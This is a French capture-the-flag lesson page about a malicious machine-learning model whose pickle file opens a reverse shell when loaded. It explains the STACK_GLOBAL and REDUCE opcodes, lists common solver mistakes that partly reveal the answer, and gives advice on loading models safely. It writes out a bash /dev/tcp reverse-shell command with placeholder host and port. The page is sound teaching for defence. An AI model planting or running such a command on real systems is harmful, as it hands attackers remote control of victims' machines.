Le modèle qui appelait chez lui : un reverse shell caché dans un pickle

Investigation Numérique & Réponse à Incident Niveau 2/4 ~3 min 4 novembre 2026

Le défi

Un modèle téléchargé lance du code au chargement. Lis les opcodes pickle dans ses octets. Trouve l'IP:port que son shell appelle.

Ce que tu vas apprendre

  • Expliquer pourquoi charger un pickle peut exécuter du code arbitraire
  • Lire STACK_GLOBAL, TUPLE1 et REDUCE dans un flux pickle brut
  • Distinguer une chaîne que le pickle appelle d'une chaîne qu'il se contente de stocker
  • Reconnaître un reverse shell bash /dev/tcp et en extraire l'IP et le port
  • Citer les moyens sûrs de charger des poids de modèle tiers

Compétences testées

Triage de malwareLecture d'un dump hex/ASCIIDésérialisation non sécurisée

Prérequis

  • Lire la colonne ASCII d'une vue hexadécimale
  • Savoir ce qu'est un appel de fonction Python

Comment ça marche

Le format pickle de Python est une liste d'instructions pour une petite machine à pile. Charger un pickle exécute ces instructions pour reconstruire les objets sauvegardés, et le format permet à un objet de dire comment se reconstruire lui-même : « importe cette fonction, appelle-la avec ces arguments ». Dans les octets, cela donne STACK_GLOBAL (0x93), qui importe une fonction nommée par les deux chaînes qui le précèdent, puis REDUCE (0x52), qui l'appelle.

Rien ne limite le choix de la fonction. Un fichier de modèle qui appelle posix.system (le module derrière os sous Linux) exécute une commande shell sur la machine de quiconque le charge, et il le fait pendant que le fichier est encore en cours de lecture, avant que le moindre poids serve. La forme bash /dev/tcp/HOST/PORT ouvre une connexion TCP, donc bash -i >& /dev/tcp/HOST/PORT 0>&1 est un reverse shell : le terminal de la victime, connecté vers l'extérieur à l'attaquant.

Début 2024, JFrog a signalé une centaine de modèles sur Hugging Face contenant du code de ce genre, dont un modèle PyTorch qui ouvrait un reverse shell vers une IP codée en dur dès son chargement. En 2025, ReversingLabs a montré des pickles volontairement cassés après le payload, de sorte que le payload s'exécutait pendant que les scanners populaires échouaient à analyser la suite.

Erreurs fréquentes

  • Répondre le tracking_uri. 203.0.113.17:5000 est une chaîne stockée : elle est suivie d'un MEMOIZE et de la clé suivante, jamais d'un REDUCE. Seule la chaîne passée à REDUCE s'exécute.
  • Répondre le hub. tensorhub.example est l'endroit d'où le modèle a été téléchargé, pas l'endroit où le shell se connecte.
  • Perdre le port au saut de ligne. La chaîne passe à la ligne : /44 termine une ligne et 44 commence la suivante. Le port est 4444.
  • Oublier le port. /dev/tcp/HOST/PORT porte les deux : la réponse est IP:port.
  • Lire les poids comme des opcodes. Après 42 (BINBYTES) et sa longueur sur 4 octets, tout est de la donnée flottante brute : un 2E à cet endroit n'est pas un STOP.

Comment s'en protéger

Ne désérialise jamais un modèle que tu n'as pas produit toi-même.

  • Distribue et charge les poids au format safetensors, un format qui contient des tenseurs et rien d'exécutable.
  • Avec PyTorch, charge avec torch.load(path, weights_only=True) (le défaut depuis PyTorch 2.6) et ne le désactive pas pour un fichier téléchargé.
  • Inspecte un pickle non fiable avec python -m pickletools model.pkl ou un scanner de modèles, qui désassemblent sans exécuter, et considère tout GLOBAL/STACK_GLOBAL en dehors des helpers de tenseurs attendus comme hostile. Les scanners peuvent être contournés : c'est un filtre, pas une garantie.
  • Ouvre les modèles non vérifiés dans un bac à sable ou un conteneur sans réseau sortant, pour qu'un payload exécuté malgré tout ne puisse pas joindre son serveur.

Solution complète

Les membres Pro et Max débloquent la solution complète étape par étape.

Passer Pro

Statistiques de la communauté

191 résolutions
86% taux de réussite
M2F14M3 Premier sang

Hacks du jour associés

36 000+ Hackers Vrais labs Gratuit
Commencer Gratuitement ou résolvez le hack du jour, sans compte